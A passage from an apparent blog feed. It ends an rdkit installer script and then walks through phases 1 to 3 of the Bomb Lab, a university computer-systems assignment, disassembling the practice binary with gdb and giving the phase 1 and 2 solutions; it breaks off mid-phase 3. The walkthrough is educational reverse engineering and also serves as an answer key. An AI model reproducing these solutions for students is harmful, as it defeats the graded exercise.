if os.path.isdir(conda_path):
logger.warning("remove current miniconda")
shutil.rmtree(conda_path)
elif os.path.isfile(conda_path):
logger.warning("remove {}".format(conda_path))
os.remove(conda_path)
logger.info('fetching installer from {}'.format(url))
res = requests.get(url, stream=True)
res.raise_for_status()
with open(file_name, 'wb') as f:
for chunk in res.iter_content(chunk_size):
f.write(chunk)
logger.info('done')
logger.info('installing miniconda to {}'.format(conda_path))
subprocess.check_call(["bash", file_name, "-b", "-p", conda_path])
logger.info('done')
logger.info("installing rdkit")
subprocess.check_call([
os.path.join(conda_path, "bin", "conda"),
"install",
"--yes",
"-c", "rdkit",
"python=={}".format(python_version),
"rdkit" if rdkit_version is None else "rdkit=={}".format(rdkit_version)])
logger.info("done")
import rdkit
logger.info("rdkit-{} installation finished!".format(rdkit.__version__))
</code></pre>
<p>if <strong>name</strong> == "<strong>main</strong>":
install()
```</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2023-10-04-bomb-lab.html
</guid>
<title>
Bomb Lab
</title>
<description>
Walkthrough of Phases 1-6 of Bomb Lab for CSCI 2400 Computer Systems Lab 2
</description>
<link>https://web.navan.dev/posts/2023-10-04-bomb-lab.html</link>
<pubDate>Wed, 04 Oct 2023 13:12:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="bomb-lab">Bomb Lab</h1>
<h2 id="introduction">Introduction</h2>
<p>Lab 2 for CSCI 2400 @ CU Boulder - Computer Systems</p>
<blockquote>
<p>The nefarious Dr. Evil has planted a slew of “binary bombs” on our class machines. A binary bomb is a program that consists of a sequence of phases. Each phase expects you to type a particular string on stdin. If you type the correct string, then the phase is defused and the bomb proceeds to the next phase. Otherwise, the bomb explodes by printing "BOOM!!!" and then terminating. The bomb is defused when every phase has been defused.
<br><br>
There are too many bombs for us to deal with, so we are giving each student a bomb to defuse. Your mission, which you have no choice but to accept, is to defuse your bomb before the due date. Good luck, and welcome to the bomb squad!
<cite>Bomb Lab Handout</cite></p>
</blockquote>
<p>I like using objdump to disassemble the code and get a broad overview of what is happening before I start. </p>
<p><code>objdump -d bomb > dis.txt</code></p>
<p><em>Note: I am not sure about the history of the bomb lab. I think it started at CMU.</em></p>
<h2 id="phase-1">Phase 1</h2>
<div class="codehilite">
<pre><span></span><code>joxxxn@jupyter-nxxh6xx8:~/lab2-bomblab-navanchauhan/bombbomb$<span class="w"> </span>gdb<span class="w"> </span>-ex<span class="w"> </span><span class="s1">'break phase_1'</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">'break explode_bomb'</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">'run'</span><span class="w"> </span>./bomb<span class="w"> </span>
GNU<span class="w"> </span>gdb<span class="w"> </span><span class="o">(</span>Ubuntu<span class="w"> </span><span class="m">12</span>.1-0ubuntu1~22.04<span class="o">)</span><span class="w"> </span><span class="m">12</span>.1
Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2022</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc.
License<span class="w"> </span>GPLv3+:<span class="w"> </span>GNU<span class="w"> </span>GPL<span class="w"> </span>version<span class="w"> </span><span class="m">3</span><span class="w"> </span>or<span class="w"> </span>later<span class="w"> </span><http://gnu.org/licenses/gpl.html>
This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it.
There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law.
Type<span class="w"> </span><span class="s2">"show copying"</span><span class="w"> </span>and<span class="w"> </span><span class="s2">"show warranty"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
This<span class="w"> </span>GDB<span class="w"> </span>was<span class="w"> </span>configured<span class="w"> </span>as<span class="w"> </span><span class="s2">"x86_64-linux-gnu"</span>.
Type<span class="w"> </span><span class="s2">"show configuration"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>configuration<span class="w"> </span>details.
For<span class="w"> </span>bug<span class="w"> </span>reporting<span class="w"> </span>instructions,<span class="w"> </span>please<span class="w"> </span>see:
<https://www.gnu.org/software/gdb/bugs/>.
Find<span class="w"> </span>the<span class="w"> </span>GDB<span class="w"> </span>manual<span class="w"> </span>and<span class="w"> </span>other<span class="w"> </span>documentation<span class="w"> </span>resources<span class="w"> </span>online<span class="w"> </span>at:
<span class="w"> </span><http://www.gnu.org/software/gdb/documentation/>.
For<span class="w"> </span>help,<span class="w"> </span><span class="nb">type</span><span class="w"> </span><span class="s2">"help"</span>.
Type<span class="w"> </span><span class="s2">"apropos word"</span><span class="w"> </span>to<span class="w"> </span>search<span class="w"> </span><span class="k">for</span><span class="w"> </span>commands<span class="w"> </span>related<span class="w"> </span>to<span class="w"> </span><span class="s2">"word"</span>...
Reading<span class="w"> </span>symbols<span class="w"> </span>from<span class="w"> </span>./bomb...
Breakpoint<span class="w"> </span><span class="m">1</span><span class="w"> </span>at<span class="w"> </span>0x15c7
Breakpoint<span class="w"> </span><span class="m">2</span><span class="w"> </span>at<span class="w"> </span>0x1d4a
Starting<span class="w"> </span>program:<span class="w"> </span>/home/joxxxn/lab2-bomblab-navanchauhan/bombbomb/bomb<span class="w"> </span>
<span class="o">[</span>Thread<span class="w"> </span>debugging<span class="w"> </span>using<span class="w"> </span>libthread_db<span class="w"> </span>enabled<span class="o">]</span>
Using<span class="w"> </span>host<span class="w"> </span>libthread_db<span class="w"> </span>library<span class="w"> </span><span class="s2">"/lib/x86_64-linux-gnu/libthread_db.so.1"</span>.
Welcome<span class="w"> </span>to<span class="w"> </span>my<span class="w"> </span>fiendish<span class="w"> </span>little<span class="w"> </span>bomb.<span class="w"> </span>You<span class="w"> </span>have<span class="w"> </span><span class="m">6</span><span class="w"> </span>phases<span class="w"> </span>with
which<span class="w"> </span>to<span class="w"> </span>blow<span class="w"> </span>yourself<span class="w"> </span>up.<span class="w"> </span>Have<span class="w"> </span>a<span class="w"> </span>nice<span class="w"> </span>day!
<span class="nb">test</span><span class="w"> </span>string
Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x00005555555555c7<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_1<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>dias<span class="w"> </span>phase_1
Undefined<span class="w"> </span>command:<span class="w"> </span><span class="s2">"dias"</span>.<span class="w"> </span>Try<span class="w"> </span><span class="s2">"help"</span>.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas<span class="w"> </span>phase_1
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_1:
<span class="o">=</span>><span class="w"> </span>0x00005555555555c7<span class="w"> </span><+0>:<span class="w"> </span>endbr64<span class="w"> </span>
<span class="w"> </span>0x00005555555555cb<span class="w"> </span><+4>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x8,%rsp
<span class="w"> </span>0x00005555555555cf<span class="w"> </span><+8>:<span class="w"> </span>lea<span class="w"> </span>0x1b7a<span class="o">(</span>%rip<span class="o">)</span>,%rsi<span class="w"> </span><span class="c1"># 0x555555557150</span>
<span class="w"> </span>0x00005555555555d6<span class="w"> </span><+15>:<span class="w"> </span>call<span class="w"> </span>0x555555555b31<span class="w"> </span><strings_not_equal>
<span class="w"> </span>0x00005555555555db<span class="w"> </span><+20>:<span class="w"> </span><span class="nb">test</span><span class="w"> </span>%eax,%eax
<span class="w"> </span>0x00005555555555dd<span class="w"> </span><+22>:<span class="w"> </span>jne<span class="w"> </span>0x5555555555e4<span class="w"> </span><phase_1+29>
<span class="w"> </span>0x00005555555555df<span class="w"> </span><+24>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x8,%rsp
<span class="w"> </span>0x00005555555555e3<span class="w"> </span><+28>:<span class="w"> </span>ret<span class="w"> </span>
<span class="w"> </span>0x00005555555555e4<span class="w"> </span><+29>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x00005555555555e9<span class="w"> </span><+34>:<span class="w"> </span>jmp<span class="w"> </span>0x5555555555df<span class="w"> </span><phase_1+24>
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>print<span class="w"> </span>0x555555557150
<span class="nv">$1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">93824992244048</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/1s<span class="w"> </span>0x555555557150
0x555555557150:<span class="w"> </span><span class="s2">"Controlling complexity is the essence of computer programming."</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>
<h2 id="phase-2">Phase 2</h2>
<div class="codehilite">
<pre><span></span><code>Phase<span class="w"> </span><span class="m">1</span><span class="w"> </span>defused.<span class="w"> </span>How<span class="w"> </span>about<span class="w"> </span>the<span class="w"> </span>next<span class="w"> </span>one?
<span class="m">1</span><span class="w"> </span><span class="m">2</span><span class="w"> </span><span class="m">3</span><span class="w"> </span><span class="m">4</span><span class="w"> </span><span class="m">5</span><span class="w"> </span><span class="m">6</span>
Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x00005555555555eb<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_2<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_2:
<span class="o">=</span>><span class="w"> </span>0x00005555555555eb<span class="w"> </span><+0>:<span class="w"> </span>endbr64<span class="w"> </span>
<span class="w"> </span>0x00005555555555ef<span class="w"> </span><+4>:<span class="w"> </span>push<span class="w"> </span>%rbp
<span class="w"> </span>0x00005555555555f0<span class="w"> </span><+5>:<span class="w"> </span>push<span class="w"> </span>%rbx
<span class="w"> </span>0x00005555555555f1<span class="w"> </span><+6>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x28,%rsp
<span class="w"> </span>0x00005555555555f5<span class="w"> </span><+10>:<span class="w"> </span>mov<span class="w"> </span>%rsp,%rsi
<span class="w"> </span>0x00005555555555f8<span class="w"> </span><+13>:<span class="w"> </span>call<span class="w"> </span>0x555555555d97<span class="w"> </span><read_six_numbers>
<span class="w"> </span>0x00005555555555fd<span class="w"> </span><+18>:<span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x0,<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x0000555555555601<span class="w"> </span><+22>:<span class="w"> </span>js<span class="w"> </span>0x55555555560d<span class="w"> </span><phase_2+34>
<span class="w"> </span>0x0000555555555603<span class="w"> </span><+24>:<span class="w"> </span>mov<span class="w"> </span>%rsp,%rbp
<span class="w"> </span>0x0000555555555606<span class="w"> </span><+27>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x1,%ebx
<span class="w"> </span>0x000055555555560b<span class="w"> </span><+32>:<span class="w"> </span>jmp<span class="w"> </span>0x555555555620<span class="w"> </span><phase_2+53>
<span class="w"> </span>0x000055555555560d<span class="w"> </span><+34>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x0000555555555612<span class="w"> </span><+39>:<span class="w"> </span>jmp<span class="w"> </span>0x555555555603<span class="w"> </span><phase_2+24>
<span class="w"> </span>0x0000555555555614<span class="w"> </span><+41>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x1,%ebx
<span class="w"> </span>0x0000555555555617<span class="w"> </span><+44>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x4,%rbp
<span class="w"> </span>0x000055555555561b<span class="w"> </span><+48>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x6,%ebx
<span class="w"> </span>0x000055555555561e<span class="w"> </span><+51>:<span class="w"> </span>je<span class="w"> </span>0x555555555631<span class="w"> </span><phase_2+70>
<span class="w"> </span>0x0000555555555620<span class="w"> </span><+53>:<span class="w"> </span>mov<span class="w"> </span>%ebx,%eax
<span class="w"> </span>0x0000555555555622<span class="w"> </span><+55>:<span class="w"> </span>add<span class="w"> </span>0x0<span class="o">(</span>%rbp<span class="o">)</span>,%eax
<span class="w"> </span>0x0000555555555625<span class="w"> </span><+58>:<span class="w"> </span>cmp<span class="w"> </span>%eax,0x4<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w"> </span>0x0000555555555628<span class="w"> </span><+61>:<span class="w"> </span>je<span class="w"> </span>0x555555555614<span class="w"> </span><phase_2+41>
<span class="w"> </span>0x000055555555562a<span class="w"> </span><+63>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x000055555555562f<span class="w"> </span><+68>:<span class="w"> </span>jmp<span class="w"> </span>0x555555555614<span class="w"> </span><phase_2+41>
<span class="w"> </span>0x0000555555555631<span class="w"> </span><+70>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x28,%rsp
<span class="w"> </span>0x0000555555555635<span class="w"> </span><+74>:<span class="w"> </span>pop<span class="w"> </span>%rbx
<span class="w"> </span>0x0000555555555636<span class="w"> </span><+75>:<span class="w"> </span>pop<span class="w"> </span>%rbp
<span class="w"> </span>0x0000555555555637<span class="w"> </span><+76>:<span class="w"> </span>ret<span class="w"> </span>
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x00005555555555fd<span class="w"> </span><+18>:<span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x0,<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x0000555555555601<span class="w"> </span><+22>:<span class="w"> </span>js<span class="w"> </span>0x55555555560d<span class="w"> </span><phase_2+34>
...
<span class="w"> </span>0x000055555555560d<span class="w"> </span><+34>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
</code></pre>
</div>
<p>The program first compares if the first number is not 0. If the number is not 0, then the <code>cmpl</code> instruction returns a negative value. The <code>js</code> instruction stands for jump if sign -> causing a jump to the specified address if the sign bit is set. This would result in the explode_bomb function being called.</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x0000555555555603<span class="w"> </span><+24>:<span class="w"> </span>mov<span class="w"> </span>%rsp,%rbp
<span class="w"> </span>0x0000555555555606<span class="w"> </span><+27>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x1,%ebx
</code></pre>
</div>
<p><code>%rsp</code> in x86-64 asm, is the stack pointer i.e. it points to the top of the current stack frame. Since the program just read six numbers, the top of the stack (<code>%rsp</code>) contains the address of the first number.</p>
<p>By executing <code>mov %rsp,%rbp</code> we are setting the base pointer (<code>%rbp</code>) to point to this address.</p>
<p>Now, for the second instruction <code>mov $0x1,%ebx</code>, we are initialising the <code>%ebx</code> register with the value 1. Based on the assembly code, you can see that this is being used as a counter/index for the loop.</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x000055555555560b<span class="w"> </span><+32>:<span class="w"> </span>jmp<span class="w"> </span>0x555555555620<span class="w"> </span><phase_2+53>
</code></pre>
</div>
<p>The program now jumps to <phase_2+53></p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x0000555555555620<span class="w"> </span><+53>:<span class="w"> </span>mov<span class="w"> </span>%ebx,%eax
<span class="w"> </span>0x0000555555555622<span class="w"> </span><+55>:<span class="w"> </span>add<span class="w"> </span>0x0<span class="o">(</span>%rbp<span class="o">)</span>,%eax
<span class="w"> </span>0x0000555555555625<span class="w"> </span><+58>:<span class="w"> </span>cmp<span class="w"> </span>%eax,0x4<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w"> </span>0x0000555555555628<span class="w"> </span><+61>:<span class="w"> </span>je<span class="w"> </span>0x555555555614<span class="w"> </span><phase_2+41>
</code></pre>
</div>
<p>Here, the value from <code>%ebx</code> is copied to the <code>%eax</code> register. For this iteration, the value should be 1.</p>
<p>Then, the value at the memory location pointed by <code>%rbp</code> is added to the value in <code>%eax</code>. For now, 0 is added (the first number that we read).</p>
<p><code>cmp %eax,0x4(%rbp)</code> - The instruction compares the value in %eax to the value at the memory address <code>%rbp + 4</code>. Since Integers in this context are stored using a word of memory of 4 bytes, this indicates it checks against the second number in the sequence.</p>
<p><code>je 0x555555555614 <phase_2+41></code> - The program will jump to <code>phase_2+41</code> if the previous <code>cmp</code> instruction determined the values as equal. </p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x0000555555555614<span class="w"> </span><+41>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x1,%ebx
<span class="w"> </span>0x0000555555555617<span class="w"> </span><+44>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x4,%rbp
<span class="w"> </span>0x000055555555561b<span class="w"> </span><+48>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x6,%ebx
<span class="w"> </span>0x000055555555561e<span class="w"> </span><+51>:<span class="w"> </span>je<span class="w"> </span>0x555555555631<span class="w"> </span><phase_2+70>
<span class="w"> </span>0x0000555555555620<span class="w"> </span><+53>:<span class="w"> </span>mov<span class="w"> </span>%ebx,%eax
<span class="w"> </span>0x0000555555555622<span class="w"> </span><+55>:<span class="w"> </span>add<span class="w"> </span>0x0<span class="o">(</span>%rbp<span class="o">)</span>,%eax
<span class="w"> </span>0x0000555555555625<span class="w"> </span><+58>:<span class="w"> </span>cmp<span class="w"> </span>%eax,0x4<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w"> </span>0x0000555555555628<span class="w"> </span><+61>:<span class="w"> </span>je<span class="w"> </span>0x555555555614<span class="w"> </span><phase_2+41>
</code></pre>
</div>
<p>Here, we can see that the program increments <code>%ebx</code> by 1, adds a 4 byte offset to <code>%rbp</code> (the number we will be matching now), and checks if <code>%ebx</code> is equal to 6. If it is, it breaks the loop and jumps to <code><phase_2+70></code> successfully finishing this stage.</p>
<p>Now, given that we know the first two numbers in the sequence are <code>0 1</code>, we can calculate the other numbers by following the pattern of adding the counter and the value of the previous number.</p>
<p>Thus,</p>
<ul>
<li>3rd number = 1 (previous value) + 2 = 3</li>
<li>4th number = 3 (prev value) + 3 = 6</li>
<li>5th number = 6 (prev value) + 4 = 10</li>
<li>6th number = 10 (prev value) + 5 = 15</li>
</ul>
<div class="codehilite">
<pre><span></span><code>...
Phase<span class="w"> </span><span class="m">1</span><span class="w"> </span>defused.<span class="w"> </span>How<span class="w"> </span>about<span class="w"> </span>the<span class="w"> </span>next<span class="w"> </span>one?
<span class="m">0</span><span class="w"> </span><span class="m">1</span><span class="w"> </span><span class="m">3</span><span class="w"> </span><span class="m">6</span><span class="w"> </span><span class="m">10</span><span class="w"> </span><span class="m">15</span>
Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x00005555555555eb<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_2<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">continue</span>
Continuing.
That<span class="err">'</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w"> </span>Keep<span class="w"> </span>going!
</code></pre>
</div>
<h2 id="phase-3">Phase 3</h2>
<p>Let us look at the disassembled code first</p>
<div class="codehilite">
<pre><span></span><code><span class="m">0000000000001638</span><span class="w"> </span><phase_3>:
<span class="w"> </span><span class="m">1638</span>:<span class="w"> </span>f3<span class="w"> </span>0f<span class="w"> </span>1e<span class="w"> </span>fa<span class="w"> </span>endbr64<span class="w"> </span>
<span class="w"> </span>163c:<span class="w"> </span><span class="m">48</span><span class="w"> </span><span class="m">83</span><span class="w"> </span>ec<span class="w"> </span><span class="m">18</span><span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x18,%rsp
<span class="w"> </span><span class="m">1640</span>:<span class="w"> </span><span class="m">48</span><span class="w"> </span>8d<span class="w"> </span>4c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">07</span><span class="w"> </span>lea<span class="w"> </span>0x7<span class="o">(</span>%rsp<span class="o">)</span>,%rcx
<span class="w"> </span><span class="m">1645</span>:<span class="w"> </span><span class="m">48</span><span class="w"> </span>8d<span class="w"> </span><span class="m">54</span><span class="w"> </span><span class="m">24</span><span class="w"> </span>0c<span class="w"> </span>lea<span class="w"> </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w"> </span>164a:<span class="w"> </span>4c<span class="w"> </span>8d<span class="w"> </span><span class="m">44</span><span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span>lea<span class="w"> </span>0x8<span class="o">(</span>%rsp<span class="o">)</span>,%r8
<span class="w"> </span>164f:<span class="w"> </span><span class="m">48</span><span class="w"> </span>8d<span class="w"> </span><span class="m">35</span><span class="w"> </span><span class="m">60</span><span class="w"> </span>1b<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>lea<span class="w"> </span>0x1b60<span class="o">(</span>%rip<span class="o">)</span>,%rsi<span class="w"> </span><span class="c1"># 31b6 <_IO_stdin_used+0x1b6></span>
<span class="w"> </span><span class="m">1656</span>:<span class="w"> </span>b8<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x0,%eax
<span class="w"> </span>165b:<span class="w"> </span>e8<span class="w"> </span><span class="m">80</span><span class="w"> </span><span class="nb">fc</span><span class="w"> </span>ff<span class="w"> </span>ff<span class="w"> </span>call<span class="w"> </span>12e0<span class="w"> </span><__isoc99_sscanf@plt>
<span class="w"> </span><span class="m">1660</span>:<span class="w"> </span><span class="m">83</span><span class="w"> </span>f8<span class="w"> </span><span class="m">02</span><span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x2,%eax
<span class="w"> </span><span class="m">1663</span>:<span class="w"> </span>7e<span class="w"> </span><span class="m">20</span><span class="w"> </span>jle<span class="w"> </span><span class="m">1685</span><span class="w"> </span><phase_3+0x4d>
<span class="w"> </span><span class="m">1665</span>:<span class="w"> </span><span class="m">83</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span>0c<span class="w"> </span><span class="m">07</span><span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x7,0xc<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>166a:<span class="w"> </span>0f<span class="w"> </span><span class="m">87</span><span class="w"> </span>0d<span class="w"> </span><span class="m">01</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>ja<span class="w"> </span>177d<span class="w"> </span><phase_3+0x145>
<span class="w"> </span><span class="m">1670</span>:<span class="w"> </span>8b<span class="w"> </span><span class="m">44</span><span class="w"> </span><span class="m">24</span><span class="w"> </span>0c<span class="w"> </span>mov<span class="w"> </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%eax
<span class="w"> </span><span class="m">1674</span>:<span class="w"> </span><span class="m">48</span><span class="w"> </span>8d<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">55</span><span class="w"> </span>1b<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>lea<span class="w"> </span>0x1b55<span class="o">(</span>%rip<span class="o">)</span>,%rdx<span class="w"> </span><span class="c1"># 31d0 <_IO_stdin_used+0x1d0></span>
<span class="w"> </span>167b:<span class="w"> </span><span class="m">48</span><span class="w"> </span><span class="m">63</span><span class="w"> </span><span class="m">04</span><span class="w"> </span><span class="m">82</span><span class="w"> </span>movslq<span class="w"> </span><span class="o">(</span>%rdx,%rax,4<span class="o">)</span>,%rax
<span class="w"> </span>167f:<span class="w"> </span><span class="m">48</span><span class="w"> </span><span class="m">01</span><span class="w"> </span>d0<span class="w"> </span>add<span class="w"> </span>%rdx,%rax
<span class="w"> </span><span class="m">1682</span>:<span class="w"> </span>3e<span class="w"> </span>ff<span class="w"> </span>e0<span class="w"> </span>notrack<span class="w"> </span>jmp<span class="w"> </span>*%rax
<span class="w"> </span><span class="m">1685</span>:<span class="w"> </span>e8<span class="w"> </span>c0<span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>call<span class="w"> </span>1d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>168a:<span class="w"> </span>eb<span class="w"> </span>d9<span class="w"> </span>jmp<span class="w"> </span><span class="m">1665</span><span class="w"> </span><phase_3+0x2d>
<span class="w"> </span>168c:<span class="w"> </span>b8<span class="w"> </span><span class="m">63</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x63,%eax
<span class="w"> </span><span class="m">1691</span>:<span class="w"> </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span>3d<span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x23d,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span><span class="m">1698</span>:<span class="w"> </span><span class="m">00</span><span class="w"> </span>
<span class="w"> </span><span class="m">1699</span>:<span class="w"> </span>0f<span class="w"> </span><span class="m">84</span><span class="w"> </span>e8<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>je<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span>169f:<span class="w"> </span>e8<span class="w"> </span>a6<span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>call<span class="w"> </span>1d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>16a4:<span class="w"> </span>b8<span class="w"> </span><span class="m">63</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x63,%eax
<span class="w"> </span>16a9:<span class="w"> </span>e9<span class="w"> </span>d9<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>jmp<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span>16ae:<span class="w"> </span>b8<span class="w"> </span><span class="m">61</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x61,%eax
<span class="w"> </span>16b3:<span class="w"> </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span><span class="m">27</span><span class="w"> </span><span class="m">01</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x127,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>16ba:<span class="w"> </span><span class="m">00</span><span class="w"> </span>
<span class="w"> </span>16bb:<span class="w"> </span>0f<span class="w"> </span><span class="m">84</span><span class="w"> </span>c6<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>je<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span>16c1:<span class="w"> </span>e8<span class="w"> </span><span class="m">84</span><span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>call<span class="w"> </span>1d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>16c6:<span class="w"> </span>b8<span class="w"> </span><span class="m">61</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x61,%eax
<span class="w"> </span>16cb:<span class="w"> </span>e9<span class="w"> </span>b7<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>jmp<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span>16d0:<span class="w"> </span>b8<span class="w"> </span><span class="m">78</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x78,%eax
